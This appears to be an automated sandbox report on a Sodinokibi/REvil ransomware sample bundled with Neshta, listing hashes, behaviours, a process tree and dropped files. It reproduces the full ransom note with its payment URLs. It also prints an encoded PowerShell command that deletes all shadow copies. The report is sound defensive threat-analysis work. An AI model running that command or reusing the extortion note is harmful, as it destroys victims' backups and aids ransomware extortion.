Analysis

  • max time kernel
    137s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-09-2024 00:40

General

  • Target

    f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

  • Size

    247KB

  • MD5

    f0f02bd33c34570b641fda56f5452f98

  • SHA1

    71090aecf0184950c934d323af59f34a2ba58248

  • SHA256

    5ef585d96c5e3b0413a90df2a01b44251f4d5759c2236ae7042f6aa211276c8b

  • SHA512

    3248a2f7299e09e76853645ae4f013eea3c59c67ba9f4b4dbaf68dfa10d75755bc98eb3af5e34e7d03965f400d74734b0084e7353819537b91724bbc68ba2a92

  • SSDEEP

    3072:sr85CIyy2RjLTuVyu7CJDgoMT3QLOoBB2W5LFrb30BRtBZZg+i2QLFrb30BRtBZ5:k9ny2RsQJ8zgLOYBFJ0BXScSJ0BXScv

Malware Config

Extracted

Path

C:\Users\965wtk7m6t-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 965wtk7m6t. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/89BC11B2EA99BEC6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/89BC11B2EA99BEC6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 7Y/Hf+Mk5DYItlvFqM7dTIXRzAXrD+V+wI7myxNMc+YR4AZo/op7R6OoQ9Ily8oo SA7YZXikRu5w4ylNFGrt3g6IKjDYTMSkf4sQZBXIOTZjnCF9pY/be11XJ4wQdYK1 QQXwRfMDfgzSNbrU2bkZHqhsu0kqA2lNcjq/0kdtMhHv6Db9AUncrLtPth3jOu7W GOr831UujkfYYx2B6gVDDnlZbN6aJDWa0V0BNoBvnCDRJX5f68/3sbFHaVNEBYjK YspsGEV27kl9FXq6A0ZBGLOayYxMPJ9dGZoSmingqWV6Nou3cEtI9xugAlLwcI5B hZv2hmPGBSs2+/NDj78kg3wmFA2PVI5dFjxgtLaQv3nbsKb6zZxilk9gSK13/Q6n 6+7TPn0nml50wTb72GMBlv2Ljj2DST52X1K60P67aiDCTOGPPeLkZPYjJYyraqUI TJ75ceHtGiMKPXJ2+4SjDeL74MfwFJ4CZ/lZdTqEfmO9oUogERq6oefmRTCHBuF6 pZ6Bi+Y/hkvl2Zzc1SUAR+B8dqXvvQS8Epj/4+EsBv6vwTv8BxDI264PZuBYCF1u Z0nPP56pJdIQm8pdow18xoFinisrT4cpK1JMo3Z0vKeuJecfkdW5Wmzz3HI49e08 bss9YJvYSURyxmHtXuGdTmfXQKbkKKin/OuFbR/6McqrLD9iKXfxpOcxNEdClCL2 NY2QoykKIVQy1vmKtLcix1fRNYRaDqLTLErG39CFinBj+7qEjChYSrwzmeUoRpKZ XXGuEAe78PBb+/3w957XBVSCLxTKHVseKPqegS1GsrTIZ6y42Rd59wZ9n05bdtRk HR6XLLesbzIx7r4TOVtrrtfrg2Ryr4EG5a/fYGhke1ifiEXTQbv74Ayr0XMX++aG No2EjSb53XywyNR6S0nrFRKPD7fRZr7IP3eOu29MwEaAco79gVhaZBASYX39HJSp 7hl3VAuaHtIU8GWX06i9TkeCHpuvfbyoQFRQG4Dj4J8QfypPE0IPOXNs97GmSd12 dLE9UBVqK9erKa1kVOcA30725KTrTW7jYqNeeA2Sbm33cVeaeW/UfdokC5iGuvpW exLzQdhz9O0xAagcyTpGrJRZCwUp1kbNgvMe8b/kqRa3uCKK5N3W5kaBJK8+RT8w 8P1wMooQxgIeGzRwkc5J9UVoJffLnchRGkveH0msTLdJasO+Boy3SuLo8lfNinl4 FVt5oUZMUl1TtgIFvWXgL2a8dakoogYNH2fGzHJ0GlPCQ0HOCBnScfIe8eRaf8kj cOHZ8wogt5tZls89DnHwIIKsMvTmY9nMQC10ilLqB5bkqp9EGXZujFlt9stzPha9 oKIKmV6yvOdoJX+Mur+/Hhz1jwoAXvf23TDMquXVfI6F5K/zBaUfbg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/89BC11B2EA99BEC6

http://decryptor.cc/89BC11B2EA99BEC6

Signatures

  • Detect Neshta payload 3 IoCs
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies system executable filetype association 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system executable filetype association
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Enumerates connected drives
      • Drops file in System32 directory
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2976
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1480
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1508

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

      Filesize

      547KB

      MD5

      cf6c595d3e5e9667667af096762fd9c4

      SHA1

      9bb44da8d7f6457099cb56e4f7d1026963dce7ce

      SHA256

      593e60cc30ae0789448547195af77f550387f6648d45847ea244dd0dd7abf03d

      SHA512

      ff4f789df9e6a6d0fbe12b3250f951fcf11e857906c65e96a30bb46266e7e1180d6103a03db2f3764e0d1346b2de7afba8259ba080057e4a268e45e8654dfa80

    • C:\Users\965wtk7m6t-readme.txt

      Filesize

      6KB

      MD5

      65188d28891f6cfefe62df41ce679fbd

      SHA1

      4876c063785ac9950d6889abf4a579c48ec0c54e

      SHA256

      714d829df3a10a85986566c286c2d4dc30387dad204bfb7f1ffc96308cfaa790

      SHA512

      018abc8f642fa4aabffd551841ff991badcf29ecf31c7260c7726052df44f88254120e8b0d770474137a3f978d1b788bea2c795b4fca79e24667d30c73054983

    • C:\Users\Admin\AppData\Local\Temp\3582-490\f0f02bd33c34570b641fda56f5452f98_JaffaCakes118.exe

      Filesize

      207KB

      MD5

      92282d13690015ddf3c1f9bc969e7f0b

      SHA1

      87cbe493d820aaa6dc8e2310d94d54efd419c594

      SHA256

      da2aa8adfa412f7d0a6a31f9bb67efb4baf7c0d9c1164418272771e3189cd326

      SHA512

      e59330abec4ed3d9b838f58629731aaf8645285fc51b354b205616eda49fa302c69596262e2abde77d592abb7c1867774d72d27122f3225b039bdbd5920ff015

    • C:\Users\Admin\AppData\Local\Temp\Cab34A9.tmp

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\Tar34BC.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      191KB

      MD5

      997d8c3e7a6e3d1dfa5058e5fa460df3

      SHA1

      76da691b3caa443f57fc7f82c5b20958ffa5ea33

      SHA256

      b2a0e6240f9af41fb1932b5246fa9c2ce5957df3d5e3c407b9ec4b8001371944

      SHA512

      1926a993711802e7943aef14e430499d18ceefc9e4c7d539d997cb3cd056bd0c6dc7c1f609d9cff4c161e59aeff5f3317c69e48f629e8c342972f2279ea393d3

    • \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

      Filesize

      252KB

      MD5

      9e2b9928c89a9d0da1d3e8f4bd96afa7

      SHA1

      ec66cda99f44b62470c6930e5afda061579cde35

      SHA256

      8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

      SHA512

      2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

    • memory/2308-561-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/2308-563-0x0000000000400000-0x000000000041B000-memory.dmp

      Filesize

      108KB

    • memory/2976-90-0x000000001B5A0000-0x000000001B882000-memory.dmp

      Filesize

      2.9MB

    • memory/2976-91-0x00000000026E0000-0x00000000026E8000-memory.dmp

      Filesize

      32KB